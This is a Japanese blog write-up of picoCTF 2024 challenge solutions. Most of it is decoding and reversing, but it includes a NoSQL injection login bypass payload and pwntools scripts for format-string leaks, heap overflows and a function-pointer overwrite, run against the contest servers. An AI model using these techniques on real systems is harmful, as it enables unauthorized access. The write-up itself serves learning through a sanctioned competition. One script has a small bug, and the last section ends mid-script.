picoCTF 2024に参加しました!

2024年4月20日

はじめに

2024年3月13日~17日(日本時間)に開催されたpicoCTF 2024に参加しました。

結果は3725ポイントで全体で660位でした(チーム)。

以下、自分がメモしていたWriteupを残しています。時間が経って記憶も曖昧な部分があるので結構雑に書いてます。

Web Exploitation

Bookmarklet

解法

問題のサイトを見るとブックマークレットが書かれているので実行するだけ。ブックマークのURL欄にペーストしてブックマークを開く。

Flag

picoCTF{p@g3_turn3r_18d2fa20}

WebDecode

解法

Aboutページのソースを開発者ツールで見ると以下の要素が見つかる。

<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMTBmOTM3NmZ9">
   <h1>
    Try inspecting the page!! You might find it there
   </h1>
   <!-- .about-container -->
</section>

notify_trueをbase64でデコードするとFlagが得られる(実行結果(CyberChef))。

Flag

picoCTF{web_succ3ssfully_d3c0ded_10f9376f}

Unminify

解法

ページのHTMLソース内にFlagがそのまま書かれていた。

<!doctype html>
<html lang="en">
...
                    <div class="picoctf{}" style="width:70%">
                        <p class="picoctf{}">If you're reading this, your browser has succesfully received the flag.</p>
                        <p class="picoCTF{pr3tty_c0d3_ed938a7e}"></p>
                        <p class="picoctf{}">I just deliver flags, I don't know how to read them...</p>
                    </div>
...

Flag

picoCTF{pr3tty_c0d3_ed938a7e}

No Sql Injection

解法

ソースを見るとmongooseというMongoDBを操作するライブラリが使われていることが分かる。

両方に{"$ne": null}と入れるとログインできる。

ページを見てもFlagは書かれていないが、以下のレスポンスを開発者ツールから確認できた。

[{"_id":"65f08d5715535af6a1394524","email":"joshiriya355@mumbama.com","firstName":"Josh","lastName":"Iriya","password":"Je80T8M7sUA","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uX2UzMWVmMzI0fQ==","__v":0}]

tokenをbase64でデコードするとFlagを得られた(実行結果(CyberChef))。

Flag

picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_e31ef324}

Cryptography

interencdec

解法

base64でデコード→先頭と後ろの邪魔なものを取っ払って再びbase64でデコード→シーザー暗号を総当りで解読。

1. base64でデコード(CyberChef)

2. base64でデコード→シーザー暗号解読(CyberChef)

Flag

picoCTF{caesar_d3cr9pt3d_78250afc}

Custom encryption

解法

以下の暗号文を解読する。

a = 94
b = 21
cipher is: [131553, 993956, 964722, 1359381, 43851, 1169360, 950105, 321574, 1081658, 613914, 0, 1213211, 306957, 73085, 993956, 0, 321574, 1257062, 14617, 906254, 350808, 394659, 87702, 87702, 248489, 87702, 380042, 745467, 467744, 716233, 380042, 102319, 175404, 248489]

custom_encryption.pyを見て逆の操作を行うプログラムを作成した。

a = 94
b = 21
cipher = [131553, 993956, 964722, 1359381, 43851, 1169360, 950105, 321574, 1081658, 613914, 0, 1213211, 306957, 73085, 993956, 0, 321574, 1257062, 14617, 906254, 350808, 394659, 87702, 87702, 248489, 87702, 380042, 745467, 467744, 716233, 380042, 102319, 175404, 248489]

def generator(g, x, p):
    return pow(g, x) % p

def decrypt(ciphertext, key):
    plaintext = ""
    for num in cipher:
        plaintext += chr(num // key // 311)
    
    return plaintext

def dynamic_xor_decrypt(ciphertext, key):
    plaintext = ""
    key_length = len(text_key)

    for i, char in enumerate(ciphertext):
        key_char = text_key[i % key_length]
        decrypted_char = chr(ord(char) ^ ord(key_char))

        plaintext = decrypted_char + plaintext

    return plaintext

text_key = "trudeau"
p = 97
g = 31
u = generator(g, a, p)
v = generator(g, b, p)
key = generator(v, a, p)
b_key = generator(u, b, p)
shared_key = None
if key == b_key:
    shared_key = key
else:
    print("Invalid key")
    exit(-1)

semi_plain = decrypt(cipher, shared_key)
plain = dynamic_xor_decrypt(semi_plain, text_key)

print(plain)
$ python solver.py 
picoCTF{custom_d2cr0pt6d_8b41f976}

Flag

picoCTF{custom_d2cr0pt6d_8b41f976}

Reverse Engineering

packer

解法

stringsコマンドで実行ファイルを見るとupxによってパックされていることが分かる。

$ strings ./out
...
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
...

upxは-dで解凍できる。

$ upx -d ./out
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
[WARNING] bad b_info at 0x4b718

[WARNING] ... recovery at 0x4b714

    877724 <-    336520   38.34%   linux/amd64   out

Unpacked 1 file.

解凍した実行ファイルをGhidraで見ると以下の気になる記述が見つかる。

undefined8 main(void)
...
    puts(
        "Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e345269 33535f33373161613966667d"
        );
...

ASCIIコード16進数→文字に変換するとFlagが出てくる(CyberChef)。

Flag

picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_371aa9ff}

FactCheck

解法

stringsコマンドではFlagの前の方だけが出てくる。

$ strings ./bin | grep pico
picoCTF{wELF_d0N3_mate_

Ghidraで見ると後半は色々処理しているようなので一つずつ動きをトレースして以下のようなプログラムを作成した。

local_248 = "picoCTF{wELF_d0N3_mate_"
local_228 = "7"
local_208 = "5"
local_1e8 = "4"
local_1c8 = "3"
local_1a8 = "6"
local_188 = "9"
local_168 = "a"
local_148 = "e"
local_128 = "3"
local_108 = "d"
local_e8 = "b"
local_c8 = "1"
local_a8 = "6"
local_88 = "e"
local_68 = "c"
local_48 = "8"

if ord(local_208) < ord('B'):
    local_248 += local_c8

if local_a8 != 'A':
    local_248 += local_68

if ord(local_1c8) - ord(local_148) == 3:
    local_248 += local_1c8

local_248 += local_1e8
local_248 += local_188

if local_168 == 'G':
    local_248 += local_168

local_248 += local_1a8
local_248 += local_88
local_248 += local_228
local_248 += local_128
local_248 += '}'

print(local_248)
> python solver.py
picoCTF{wELF_d0N3_mate_1c496e73}

Flag

picoCTF{wELF_d0N3_mate_1c496e73}

Classic Crackme 0x100

解法

Ghidraで見るとmain関数は以下のようになっている。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  char local_a8 [64];
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined7 local_40;
  undefined4 uStack_39;
  uint local_2c;
  uint local_28;
  char local_21;
  uint local_20;
  uint local_1c;
  uint local_18;
  int local_14;
  int local_10;
  int local_c;
  
  local_68 = 0x687a63616a697061;
  local_60 = 0x676a796e6674677a;
  local_58 = 0x6d626a7271766472;
  local_50 = 0x7a636a6d63727563;
  local_48 = 0x6c65646777627673;
  local_40 = 0x796b6a78787876;
  uStack_39 = 0x796769;
  setvbuf(stdout,(char *)0x0,2,0);
  printf("Enter the secret password: ");
  __isoc99_scanf(&DAT_00402024,local_a8);
  local_c = 0;
  sVar2 = strlen((char *)&local_68);
  local_14 = (int)sVar2;
  local_18 = 0x55;
  local_1c = 0x33;
  local_20 = 0xf;
  local_21 = 'a';
  for (; local_c < 3; local_c = local_c + 1) {
    for (local_10 = 0; local_10 < local_14; local_10 = local_10 + 1) {
      local_28 = (local_10 % 0xff >> 1 & local_18) + (local_10 % 0xff & local_18);
      local_2c = ((int)local_28 >> 2 & local_1c) + (local_1c & local_28);
      iVar1 = ((int)local_2c >> 4 & local_20) +
              ((int)local_a8[local_10] - (int)local_21) + (local_20 & local_2c);
      local_a8[local_10] = local_21 + (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a;
    }
  }
  iVar1 = memcmp(local_a8,&local_68,(long)local_14);
  if (iVar1 == 0) {
    printf("SUCCESS! Here is your flag: %s\n","picoCTF{sample_flag}");
  }
  else {
    puts("FAILED!");
  }
  return 0;
}

動作をトレースしたプログラムを作成。

import string

local_68_40 = [
    0x61, 0x70, 0x69, 0x6a, 0x61, 0x63, 0x7a, 0x68,
    0x7a, 0x67, 0x74, 0x66, 0x6e, 0x79, 0x6a, 0x67,
    0x72, 0x64, 0x76, 0x71, 0x72, 0x6a, 0x62, 0x6d,
    0x63, 0x75, 0x72, 0x63, 0x6d, 0x6a, 0x63, 0x7a,
    0x73, 0x76, 0x62, 0x77, 0x67, 0x64, 0x65, 0x6c,
    0x76, 0x78, 0x78, 0x78, 0x6a, 0x6b, 0x79,
    0x69, 0x67, 0x79
]

password = ""

local_14 = len(local_68_40)
local_18 = 0x55
local_1c = 0x33
local_20 = 0xf
local_21 = 'a'

for i in range(local_14):
    expected = local_68_40[i]

    for c in string.ascii_lowercase:
        cn = ord(c)
        local_10 = i

        for j in range(3):
            local_28 = (local_10 % 0xff >> 1 & local_18) + (local_10 % 0xff & local_18)
            local_2c = (local_28 >> 2 & local_1c) + (local_1c & local_28)

            iVar1 = (local_2c >> 4 & local_20) + (cn - ord(local_21)) + (local_20 & local_2c)

            cn = ord(local_21) + iVar1 + (iVar1 // 0x1a) * (-0x1a)
            # cn = ord(local_21) + iVar1 % 0x1a
        
        if cn == expected:
            password += c
            break

print(f"Encoded: {password}")

実行して得られた文字列をncして投げれば良い。

$ python solver.py
Encoded: amfdxwtywanwhpauoxphlasawliqdxqkppvnauvzpoolaymtap

$ nc titan.picoctf.net 63460
Enter the secret password: amfdxwtywanwhpauoxphlasawliqdxqkppvnauvzpoolaymtap
SUCCESS! Here is your flag: picoCTF{s0lv3_angry_symb0ls_e1ad09b7}

Flag

picoCTF{s0lv3_angry_symb0ls_e1ad09b7}

weirdSnake

解法

Pythonのバイトコードを読む問題。

動きをトレースすると以下のようになっている。key_strの文字の追加順に注意。

input_list = [4, 54, 41, 0, 112, 32, 25, 49, 33, 3, 0, 0, 57, 32, 108, 23, 48, 4, 9, 70, 7, 110, 36, 8, 108, 7, 49, 10, 4, 86, 43, 110, 43, 88, 0, 67, 104, 125, 9, 78]

key_str = 'J'
key_str = '_' + key_str
key_str = key_str + 'o'
key_str = key_str + '3'
key_str = 't' + key_str

key_list = [ord(char) for char in key_str]

while len(key_list) < len(input_list):
    key_list.extend(key_list)

print(key_list)

result = [a ^ b for a, b in zip(input_list, key_list)]

result_text = ''.join(map(chr, result))

print(result)
print(result_text)
$ python tracer.py 
[116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51, 116, 95, 74, 111, 51]
[112, 105, 99, 111, 67, 84, 70, 123, 78, 48, 116, 95, 115, 79, 95, 99, 111, 78, 102, 117, 115, 49, 110, 103, 95, 115, 110, 64, 107, 101, 95, 49, 97, 55, 51, 55, 55, 55, 102, 125]
picoCTF{N0t_sO_coNfus1ng_sn@ke_1a73777f}

Flag

picoCTF{N0t_sO_coNfus1ng_sn@ke_1a73777f}

Forensics

Scan Surprise

解法

QRコードをスマホのQRコードリーダー等で読むとFlagが表示される。

Flag

picoCTF{p33k_@_b00_b5ce2572}

Verify

解法

checksumが一致するファイルを探す。

$ sha256sum ./files/* > checksum_all.txt
$ cat checksum_all.txt | grep -f checksum.txt
5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda  ./files/8eee7195

./files/8eee7195を解読する。確かdecrypt.shに書いてあったはず…。

$ openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "./files/8eee7195" -k picoCTF
picoCTF{trust_but_verify_8eee7195}

Flag

picoCTF{trust_but_verify_8eee7195}

CanYouSee

解法

exiftoolで情報を見る。

$ exiftool ./ukn_reality.jpg
ExifTool Version Number         : 12.40
File Name                       : ukn_reality.jpg
Directory                       : .
File Size                       : 2.2 MiB
File Modification Date/Time     : 2024:02:16 07:40:17+09:00
File Access Date/Time           : 2024:03:17 07:56:35+09:00
File Inode Change Date/Time     : 2024:03:17 07:56:35+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
XMP Toolkit                     : Image::ExifTool 11.88
Attribution URL                 : cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg==
Image Width                     : 4308
Image Height                    : 2875
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4308x2875
Megapixels                      : 12.4

Attribution URLが明らかに怪しいのでbase64でデコードするとFlagを得られる(CyberChef)。

Flag

picoCTF{ME74D47A_HIDD3N_4dabddcb}

Secret of the Polyglot

解法

  • PDFビューアで開くとFlagの後半”1n_pn9_&_pdf_249d05c0}”が表示される
  • ペイントで開くとFlagの前半”picoCTF{f1u3n7_”が表示される

Flag

picoCTF{f1u3n7_1n_pn9_&_pdf_249d05c0}

endianness-v2

解法

32ビット毎にファイルのエンディアンを変えてjpegで保存すると画像にFlagが表示される。

with open("fixed.jpeg", "wb") as fw:
    with open("./challengefile", "rb") as fr:
        while True:
            data = fr.read(4)

            if len(data) == 0:
                break

            fw.write(data[::-1])

Flag

picoCTF{cert!f1Ed_iNd!4n_s0rrY_3nDian_b039bc14}

Blast from the past

解法

以下のようにして画像の色々な時間情報を”1970:01:01 00:00:00.001+00:00″に変更した。

$  exiftool "-alldates=1970:01:01 00:00:00.001+00:00" ./original.jpg
    1 image files updated

$ exiftool -"SubSecCreateDate=1970:01:01 00:00:00.001+00:00" ./original.jpg
    1 image files updated
	
$ exiftool -"SubSecDateTimeOriginal=1970:01:01 00:00:00.001+00:00" ./original.jpg
    1 image files updated
	
$ exiftool -"SubSecModifyDate=1970:01:01 00:00:00.001+00:00" ./original.jpg
    1 image files updated
	
$ exiftool -"TimeStamp=0" ./original.jpg
    1 image files updated

これでも最後の1つだけ通らなかったのでバイナリエディタを用いて0x2B8E18の部分を直接いじった。

TimeStamp = 1700513181420
  - Tag '0x0a01' (13 bytes):
    2b8e18: 31 37 30 30 35 31 33 31 38 31 34 32 30          [1700513181420]
	
TimeStamp = 0
  - Tag '0x0a01' (13 bytes):
    2b8e18: 30 30 30 30 30 30 30 30 30 30 30 30 31          [0000000000001]
$ nc -d mimas.picoctf.net 64865
MD5 of your picture:
06029205d3e2311b0dcbdf265cf1368c  test.out

Checking tag 1/7
Looking at IFD0: ModifyDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 2/7
Looking at ExifIFD: DateTimeOriginal
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 3/7
Looking at ExifIFD: CreateDate
Looking for '1970:01:01 00:00:00'
Found: 1970:01:01 00:00:00
Great job, you got that one!

Checking tag 4/7
Looking at Composite: SubSecCreateDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 5/7
Looking at Composite: SubSecDateTimeOriginal
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 6/7
Looking at Composite: SubSecModifyDate
Looking for '1970:01:01 00:00:00.001'
Found: 1970:01:01 00:00:00.001
Great job, you got that one!

Checking tag 7/7
Timezones do not have to match, as long as it's the equivalent time.
Looking at Samsung: TimeStamp
Looking for '1970:01:01 00:00:00.001+00:00'
Found: 1970:01:01 00:00:00.001+00:00
Great job, you got that one!

You did it!
picoCTF{71m3_7r4v311ng_p1c7ur3_b5f7bcb5}

Flag

picoCTF{71m3_7r4v311ng_p1c7ur3_b5f7bcb5}

General Skills

Super SSH

解法

SSHするだけ。

$ ssh titan.picoctf.net -l ctf-player -p 60572
The authenticity of host '[titan.picoctf.net]:60572 ([3.139.174.234]:60572)' can't be established.
ED25519 key fingerprint is SHA256:4S9EbTSSRZm32I+cdM5TyzthpQryv5kudRP9PIKT7XQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[titan.picoctf.net]:60572' (ED25519) to the list of known hosts.
ctf-player@titan.picoctf.net's password:
Welcome ctf-player, here's your flag: picoCTF{s3cur3_c0nn3ct10n_8306c99d}
Connection to titan.picoctf.net closed.

Flag

picoCTF{s3cur3_c0nn3ct10n_8306c99d}

Commitment Issues

解法

  1. git logでコミット履歴を見る
  2. git resetで巻き戻す
  3. message.txtを見るとFlagが書いてある
> git log
commit a6dca68e4310585eac3b5c9caf0f75967dfe972c (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Sat Mar 9 21:10:06 2024 +0000

    remove sensitive info

commit e720dc26a1a55405fbdf4d338d465335c439fb3e
Author: picoCTF <ops@picoctf.com>
Date:   Sat Mar 9 21:10:06 2024 +0000

> git reset --hard e720dc26a1a55405fbdf4d338d465335c439fb3e
HEAD is now at e720dc2 create flag

> cat .\message.txt
picoCTF{s@n1t1z3_7246792d}

Flag

picoCTF{s@n1t1z3_7246792d}

Time Machine

解法

git logでコミット履歴を見るとコミットメッセージにFlagが書かれている。

> git log
commit b92bdd8ec87a21ba45e77bd9bed3e4893faafd0f (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Sat Mar 9 21:10:29 2024 +0000

    picoCTF{t1m3m@ch1n3_5cde9075}

Flag

picoCTF{t1m3m@ch1n3_5cde9075}

Blame Game

解法

git logを見ると履歴が大量にあるのでgrepで絞る。

> git log | grep "picoCTF{"
Author: picoCTF{@sk_th3_1nt3rn_e9957ce1} <ops@picoctf.com>

Flag

picoCTF{@sk_th3_1nt3rn_e9957ce1}

Collaborative Development

解法

feature/part-1, feature/part-2, feature/part-3ブランチそれぞれにFlagの断片が書かれている。

> git checkout feature/part-1
error: Your local changes to the following files would be overwritten by checkout:
        flag.py
Please commit your changes or stash them before you switch branches.
Aborting

> git commit -a -m "a"
[main 15f2f52] a
 1 file changed, 0 insertions(+), 0 deletions(-)
 mode change 100644 => 100755 flag.py
 
> git checkout feature/part-1
Switched to branch 'feature/part-1'

> cat flag.py
print("Printing the flag...")
print("picoCTF{t3@mw0rk_", end='')

> git checkout feature/part-2
Switched to branch 'feature/part-2'

> cat flag.py
print("Printing the flag...")

print("m@k3s_th3_dr3@m_", end='')

> git checkout feature/part-3
Switched to branch 'feature/part-3'

> cat flag.py
print("Printing the flag...")

print("w0rk_7ffa0077}")

Flag

picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_7ffa0077}

binhexa

解法

2つの2進表記の数字と6つ演算子が与えられるのでそれぞれ計算結果を答えるだけ。

> nc titan.picoctf.net 50971

Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.

Binary Number 1: 00011001
Binary Number 2: 00000000


Question 1/6:
Operation 1: '|'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00011001
Correct!

Question 2/6:
Operation 2: '<<'
Perform a left shift of Binary Number 1 by 1 bits.
Enter the binary result: 00110010
Correct!

Question 3/6:
Operation 3: '+'
Perform the operation on Binary Number 1&2.
Enter the binary result: 00011001
Correct!

Question 4/6:
Operation 4: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result: 0
Correct!

Question 5/6:
Operation 5: '>>'
Perform a right shift of Binary Number 2 by 1 bits .
Enter the binary result: 00000000
Correct!

Question 6/6:
Operation 6: '&'
Perform the operation on Binary Number 1&2.
Enter the binary result: 0
Correct!

Enter the results of the last operation in hexadecimal: 0

Correct answer!
The flag is: picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_6ab1ad84}

Flag

picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_6ab1ad84}

Binary Search

解法

適当に当てに行くと上限に引っかかるのでちゃんと二部探索をしましょう。

> ssh -p 51214 ctf-player@atlas.picoctf.net
ctf-player@atlas.picoctf.net's password: 
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Higher! Try again.
Enter your guess: 750
Lower! Try again.
Enter your guess: 625
Lower! Try again.
Enter your guess: 562
Lower! Try again.
Enter your guess: 531
Higher! Try again.
Enter your guess: 546
Higher! Try again.
Enter your guess: 554
Lower! Try again.
Enter your guess: 550
Lower! Try again.
Enter your guess: 548
Congratulations! You guessed the correct number: 548
Here's your flag: picoCTF{g00d_gu355_3af33d18}
Connection to atlas.picoctf.net closed.

Flag

Here’s your flag: picoCTF{g00d_gu355_3af33d18}

endianness

解法

文字が与えられるのでそれぞれ16進表記のリトルエンディアンとビッグエンディアンを回答する。

input_str = input("Word: ")

le = ""
for i in range(4, -1, -1):
    c = ord(input_str[i])
    le += "{:02X}".format(c)

print(le)

be = ""
for i in range(5):
    c = ord(input_str[i])
    be += "{:02X}".format(c)

print(be)
$ python solver.py 
Word: mcpad
646170636D
6D63706164

$ nc titan.picoctf.net 51740
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: mcpad
Enter the Little Endian representation: 646170636D
Correct Little Endian representation!
Enter the Big Endian representation: 6D63706164
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}

Flag

picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}

Binary Exploitation

format string 0

解法

from pwn import *

def conn():
    return remote("mimas.picoctf.net", 50695)


def main():
    r = conn()

    payload1 = "Breakf@st_Burger" + "Gr" + "1" * 114 + "_Cheese" + "Bac0n_D3luxe"

    r.recvuntil(b"Enter your recommendation: ")
    r.sendline(payload1.encode())

    r.interactive()


if __name__ == "__main__":
    main()
$ python solver.py 
[+] Opening connection to mimas.picoctf.net on port 50695: Done
[*] Switching to interactive mode
There is no such burger yet!

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}
[*] Got EOF while reading in interactive
$ 
[*] Closed connection to mimas.picoctf.net port 50695

Flag

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}

format string 1

解法

以下のようにしてスタックの中身を吐き出させてみる。

import time

from pwn import *

exe = ELF("./format-string-1")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("mimas.picoctf.net", 49811)
    return r



def main():
    r = conn()

    r.recvuntil(b"Give me your order and I'll read it back to you:\n")
    r.sendline(f"%{i+1}$ls".encode())

    r.interactive()


if __name__ == "__main__":
    main()
402118.0.7f6bef031a00.0.21b2880.a347834.7ffe97549f70.7f6beee22e60.7f6bef0474d0.1.7ffe9754a040.0.0.7b4654436f636970.355f31346d316e34.3478345f33317937.31655f673431665f.7d383130386531.7.7f6bef0498d8.2300000007.206e693374307250.a336c797453.9.7f6bef05ade9.7f6beee2b098.7f6bef0474d0.0.7ffe9754a050.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25

↑は’.’で区切られた16進数なので文字に変換してみる(CyberChef)。真ん中の方にFlagと思われる文字列がある。8文字ごとにエンディアンを変えて並び替える。

{FTCocip5_14m1n44x4_31y71e_g41f_}8108e1
↓
{FTCocip
5_14m1n4
4x4_31y7
1e_g41f_
}8108e1
↓
picoCTF{4n1m41_57y13_4x4_f14g_e11e8018}

Flag

picoCTF{4n1m41_57y13_4x4_f14g_e11e8018}

heap 0

解法

バッファを溢れさせて”bico”の部分を書き換える。

from pwn import *

exe = ELF("./chall")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("tethys.picoctf.net", 58099)

    return r


def main():
    r = conn()
    r.sendline(b"2")
    r.sendline(b"a" * 100)
    r.sendline(b"4")
    r.interactive()


if __name__ == "__main__":
    main()
$ python solver.py 
[*] '/mnt/d/picoctf/2024/heap-0/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to tethys.picoctf.net on port 58099: Done
[*] Switching to interactive mode

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x55e47b72f2b0  ->   pico
+-------------+----------------+
[*]   0x55e47b72f2d0  ->   bico
+-------------+----------------+

1. Print Heap:        (print the current state of the heap)
2. Write to buffer:    (write to your own personal block of data on the heap)
3. Print safe_var:    (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:        (Try to print the flag, good luck)
5. Exit

Enter your choice: Data for buffer: 
1. Print Heap:        (print the current state of the heap)
2. Write to buffer:    (write to your own personal block of data on the heap)
3. Print safe_var:    (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:        (Try to print the flag, good luck)
5. Exit

Enter your choice: 
YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}
[*] Got EOF while reading in interactive

Flag

picoCTF{my_first_heap_overflow_1ad0e1a6}

heap 1

解法

実行時に表示されるHeap Stateの表を見ると入力と”bico”のアドレスの差は常に0x20 = 32であることが分かる。

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x55d9aa33e2b0  ->   pico
+-------------+----------------+
[*]   0x55d9aa33e2d0  ->   bico
+-------------+----------------+

よって、32ビット適当に盛った後に”pico”を送るようにすれば良い。

from pwn import *

exe = ELF("./chall")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("tethys.picoctf.net", 49800)

    return r


def main():
    r = conn()
    r.sendline(b"2")
    r.sendline(b"a" * 32 + b"pico")
    r.sendline(b"4")
    r.interactive()


if __name__ == "__main__":
    main()
$ python solver.py 
[*] '/mnt/d/picoctf/2024/heap-1/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to tethys.picoctf.net on port 49800: Done
[*] Switching to interactive mode

Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x55d9aa33e2b0  ->   pico
+-------------+----------------+
[*]   0x55d9aa33e2d0  ->   bico
+-------------+----------------+

1. Print Heap:        (print the current state of the heap)
2. Write to buffer:    (write to your own personal block of data on the heap)
3. Print safe_var:    (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:        (Try to print the flag, good luck)
5. Exit

Enter your choice: Data for buffer: 
1. Print Heap:        (print the current state of the heap)
2. Write to buffer:    (write to your own personal block of data on the heap)
3. Print safe_var:    (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:        (Try to print the flag, good luck)
5. Exit

Enter your choice: 
YOU WIN
picoCTF{starting_to_get_the_hang_21306688}
[*] Got EOF while reading in interactive

Flag

picoCTF{starting_to_get_the_hang_21306688}

heap 2

解法

check_win()内で変数xのアドレスを関数として呼び出していることが分かる。

win()関数のアドレスは以下のようにして探す。

(gdb) disassemble win
Dump of assembler code for function win:
   0x00000000004011a0 <+0>:     push   %rbx
   0x00000000004011a1 <+1>:     sub    $0x40,%rsp

あとはこれを書き込んで動かすだけ。

from pwn import *

exe = ELF("./chall")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("mimas.picoctf.net", 64478)

    return r


def main():
    r = conn()
    r.sendline(b"2")
    r.sendline(b"a" * 32 + p64(0x00000000004011a0))
    r.sendline(b"4")
    r.interactive()


if __name__ == "__main__":
    main()
$ python solver.py
[*] '/mnt/d/picoctf/2024/heap-2/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to mimas.picoctf.net on port 64478: Done
[*] Switching to interactive mode

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: Data for buffer: 
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: picoCTF{and_down_the_road_we_go_ba77314d}
[*] Got EOF while reading in interactive

Flag

picoCTF{and_down_the_road_we_go_ba77314d}

heap 3

解法

構造体xの要素flagまでの距離は以下のようにして求める。

$ gdb ./chall

gef> pattern create 35
[+] Generating a pattern of 35 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaa

$ ./chall

freed but still in use
now memory untracked
do you smell the bug?

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 5

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 2
Size of object allocation: 35
Data for flag: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaa

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 3


x = aaeaa

つまり、30文字適当に埋めた後に”pico”を入れれば良いことが分かる。

from pwn import *

exe = ELF("./chall")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("tethys.picoctf.net", 59011)

    return r


